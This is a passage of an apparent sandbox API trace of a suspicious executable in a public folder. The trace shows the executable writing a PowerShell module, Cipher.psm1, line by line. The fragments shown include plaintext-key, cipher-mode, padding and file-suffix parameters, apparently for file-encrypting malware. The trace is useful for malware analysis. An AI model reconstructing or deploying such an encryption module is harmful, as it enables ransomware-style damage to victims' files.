dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce774, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.065] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.065] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.065] GetFileType (hFile=0x1c) returned 0x1 [0063.065] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x71c [0063.065] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce78c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce78c*=0) returned 0x71b [0063.065] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce784, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce780, lpOverlapped=0x0 | out: lpBuffer=0x1ce784*, lpNumberOfBytesRead=0x1ce780*=0x1, lpOverlapped=0x0) returned 1 [0063.065] GetConsoleTitleW (in: lpConsoleTitle=0x1ce5a4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.066] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x88) returned 0x5e8c38 [0063.066] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8c38, Size=0x3a) returned 0x5e8c38 [0063.066] GetProcessHeap () returned 0x5d0000 [0063.066] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8c38) returned 0x3a [0063.066] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x5fedd0 [0063.066] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce56c | out: _Buffer=" [String]$KeyAsPlainText, \r\n") returned 32 [0063.066] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.066] GetFileType (hFile=0x1c) returned 0x1 [0063.066] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$KeyAsPlainText, \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$KeyAsPlainText, \r\n", lpUsedDefaultChar=0x0) returned 33 [0063.066] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ce558, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce558*=0x20, lpOverlapped=0x0) returned 1 [0063.066] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.067] _close (_FileHandle=3) returned 0 [0063.068] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fccb0 [0063.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.068] GetFileType (hFile=0x7) returned 0x2 [0063.068] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.068] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce740 | out: lpMode=0x1ce740) returned 1 [0063.069] _dup (_FileHandle=1) returned 3 [0063.069] _close (_FileHandle=1) returned 0 [0063.069] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.069] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce710, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.070] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.070] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.070] GetFileType (hFile=0x1c) returned 0x1 [0063.070] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x73c [0063.070] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce728*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce728*=0) returned 0x73b [0063.070] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce720, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce71c, lpOverlapped=0x0 | out: lpBuffer=0x1ce720*, lpNumberOfBytesRead=0x1ce71c*=0x1, lpOverlapped=0x0) returned 1 [0063.070] GetConsoleTitleW (in: lpConsoleTitle=0x1ce540, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x5eaea8 [0063.070] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5eaea8, Size=0x5c) returned 0x5eaea8 [0063.070] GetProcessHeap () returned 0x5d0000 [0063.070] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5eaea8) returned 0x5c [0063.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ebe58 [0063.070] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce508 | out: _Buffer=" [Parameter(Mandatory=$false, Position=4)] \r\n") returned 49 [0063.070] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.070] GetFileType (hFile=0x1c) returned 0x1 [0063.071] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=4)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=4)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0063.071] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1ce4f4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce4f4*=0x31, lpOverlapped=0x0) returned 1 [0063.071] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.091] _close (_FileHandle=3) returned 0 [0063.092] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fccd0 [0063.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.092] GetFileType (hFile=0x7) returned 0x2 [0063.092] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.092] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce6dc | out: lpMode=0x1ce6dc) returned 1 [0063.092] _dup (_FileHandle=1) returned 3 [0063.093] _close (_FileHandle=1) returned 0 [0063.093] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.093] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.094] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.094] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.094] GetFileType (hFile=0x1c) returned 0x1 [0063.094] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x76d [0063.094] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce6c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce6c4*=0) returned 0x76c [0063.094] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce6bc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce6b8, lpOverlapped=0x0 | out: lpBuffer=0x1ce6bc*, lpNumberOfBytesRead=0x1ce6b8*=0x1, lpOverlapped=0x0) returned 1 [0063.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ce4dc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.094] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xfc) returned 0x5eaf10 [0063.094] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5eaf10, Size=0x74) returned 0x5eaf10 [0063.094] GetProcessHeap () returned 0x5d0000 [0063.094] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5eaf10) returned 0x74 [0063.094] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5eaf90 [0063.094] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce4a4 | out: _Buffer=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n") returned 61 [0063.094] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.094] GetFileType (hFile=0x1c) returned 0x1 [0063.094] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n", lpUsedDefaultChar=0x0) returned 62 [0063.095] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x1ce490, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce490*=0x3d, lpOverlapped=0x0) returned 1 [0063.095] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.096] _close (_FileHandle=3) returned 0 [0063.096] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fccf0 [0063.096] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.096] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.096] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.097] GetFileType (hFile=0x7) returned 0x2 [0063.097] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.097] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce678 | out: lpMode=0x1ce678) returned 1 [0063.097] _dup (_FileHandle=1) returned 3 [0063.098] _close (_FileHandle=1) returned 0 [0063.099] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.099] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce648, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.099] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.099] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.099] GetFileType (hFile=0x1c) returned 0x1 [0063.099] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7aa [0063.099] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce660*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce660*=0) returned 0x7a9 [0063.099] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce658, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce654, lpOverlapped=0x0 | out: lpBuffer=0x1ce658*, lpNumberOfBytesRead=0x1ce654*=0x1, lpOverlapped=0x0) returned 1 [0063.099] GetConsoleTitleW (in: lpConsoleTitle=0x1ce478, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.100] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd0) returned 0x5eb028 [0063.100] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5eb028, Size=0x5c) returned 0x5eb028 [0063.100] GetProcessHeap () returned 0x5d0000 [0063.100] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5eb028) returned 0x5c [0063.100] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x76) returned 0x5ebed8 [0063.100] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce440 | out: _Buffer=" [Parameter(Mandatory=$false, Position=5)] \r\n") returned 50 [0063.100] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.100] GetFileType (hFile=0x1c) returned 0x1 [0063.100] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=5)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=5)] \r\n", lpUsedDefaultChar=0x0) returned 51 [0063.100] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x1ce42c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce42c*=0x32, lpOverlapped=0x0) returned 1 [0063.100] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.101] _close (_FileHandle=3) returned 0 [0063.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb0a8 [0063.102] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.102] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.102] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.102] GetFileType (hFile=0x7) returned 0x2 [0063.102] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.102] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce614 | out: lpMode=0x1ce614) returned 1 [0063.103] _dup (_FileHandle=1) returned 3 [0063.107] _close (_FileHandle=1) returned 0 [0063.108] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.108] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce5e4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.108] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.108] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.108] GetFileType (hFile=0x1c) returned 0x1 [0063.108] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7dc [0063.108] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce5fc*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce5fc*=0) returned 0x7db [0063.109] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce5f4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce5f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5f4*, lpNumberOfBytesRead=0x1ce5f0*=0x1, lpOverlapped=0x0) returned 1 [0063.109] GetConsoleTitleW (in: lpConsoleTitle=0x1ce414, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x104) returned 0x6011a8 [0063.109] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6011a8, Size=0x78) returned 0x6011a8 [0063.109] GetProcessHeap () returned 0x5d0000 [0063.109] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6011a8) returned 0x78 [0063.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x5eb890 [0063.109] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce3dc | out: _Buffer=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n") returned 63 [0063.109] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.109] GetFileType (hFile=0x1c) returned 0x1 [0063.109] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n", lpUsedDefaultChar=0x0) returned 64 [0063.109] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1ce3c8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce3c8*=0x3f, lpOverlapped=0x0) returned 1 [0063.109] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.111] _close (_FileHandle=3) returned 0 [0063.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb0c8 [0063.111] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.111] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.111] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.111] GetFileType (hFile=0x7) returned 0x2 [0063.112] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.112] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce5b0 | out: lpMode=0x1ce5b0) returned 1 [0063.112] _dup (_FileHandle=1) returned 3 [0063.112] _close (_FileHandle=1) returned 0 [0063.113] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.113] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce580, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.113] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.113] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.113] GetFileType (hFile=0x1c) returned 0x1 [0063.113] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x81b [0063.113] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce598*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce598*=0) returned 0x81a [0063.113] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce590, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce58c, lpOverlapped=0x0 | out: lpBuffer=0x1ce590*, lpNumberOfBytesRead=0x1ce58c*=0x1, lpOverlapped=0x0) returned 1 [0063.113] GetConsoleTitleW (in: lpConsoleTitle=0x1ce3b0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.114] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x601228 [0063.114] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601228, Size=0x5c) returned 0x601228 [0063.114] GetProcessHeap () returned 0x5d0000 [0063.114] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601228) returned 0x5c [0063.114] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ebf58 [0063.114] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce378 | out: _Buffer=" [Parameter(Mandatory=$false, Position=6)] \r\n") returned 49 [0063.114] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.114] GetFileType (hFile=0x1c) returned 0x1 [0063.114] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=6)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=6)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0063.114] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1ce364, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce364*=0x31, lpOverlapped=0x0) returned 1 [0063.114] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.115] _close (_FileHandle=3) returned 0 [0063.116] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb0e8 [0063.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.116] GetFileType (hFile=0x7) returned 0x2 [0063.116] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.116] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce54c | out: lpMode=0x1ce54c) returned 1 [0063.117] _dup (_FileHandle=1) returned 3 [0063.117] _close (_FileHandle=1) returned 0 [0063.118] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.118] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce51c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.118] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.118] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.118] GetFileType (hFile=0x1c) returned 0x1 [0063.118] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x84c [0063.118] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce534*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce534*=0) returned 0x84b [0063.118] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce52c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce528, lpOverlapped=0x0 | out: lpBuffer=0x1ce52c*, lpNumberOfBytesRead=0x1ce528*=0x1, lpOverlapped=0x0) returned 1 [0063.118] GetConsoleTitleW (in: lpConsoleTitle=0x1ce34c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.119] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa8) returned 0x601290 [0063.119] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601290, Size=0x46) returned 0x601290 [0063.119] GetProcessHeap () returned 0x5d0000 [0063.119] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601290) returned 0x46 [0063.119] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x602ad0 [0063.119] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce314 | out: _Buffer=" [String]$Suffix = \".$Algorithm\", \r\n") returned 40 [0063.119] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.119] GetFileType (hFile=0x1c) returned 0x1 [0063.119] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Suffix = \".$Algorithm\", \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Suffix = \".$Algorithm\", \r\n", lpUsedDefaultChar=0x0) returned 41 [0063.119] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1ce300, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce300*=0x28, lpOverlapped=0x0) returned 1 [0063.119] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.121] _close (_FileHandle=3) returned 0 [0063.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb108 [0063.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.122] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.122] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.122] GetFileType (hFile=0x7) returned 0x2 [0063.122] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.122] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce4e8 | out: lpMode=0x1ce4e8) returned 1 [0063.122] _dup (_FileHandle=1) returned 3 [0063.123] _close (_FileHandle=1) returned 0 [0063.123] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.123] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce4b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.123] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.123] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.123] GetFileType (hFile=0x1c) returned 0x1 [0063.123] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x874 [0063.123] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce4d0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce4d0*=0) returned 0x873 [0063.123] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce4c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce4c4, lpOverlapped=0x0 | out: lpBuffer=0x1ce4c8*, lpNumberOfBytesRead=0x1ce4c4*=0x1, lpOverlapped=0x0) returned 1 [0063.124] GetConsoleTitleW (in: lpConsoleTitle=0x1ce2e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5c) returned 0x603d90 [0063.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x603d90, Size=0x26) returned 0x603d90 [0063.124] GetProcessHeap () returned 0x5d0000 [0063.124] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x603d90) returned 0x26 [0063.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x5f5388 [0063.124] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce2b0 | out: _Buffer=" [Parameter()] \r\n") returned 21 [0063.124] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.124] GetFileType (hFile=0x1c) returned 0x1 [0063.124] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter()] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter()] \r\n", lpUsedDefaultChar=0x0) returned 22 [0063.124] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x1ce29c, lpOverlapped=0x0 | out: 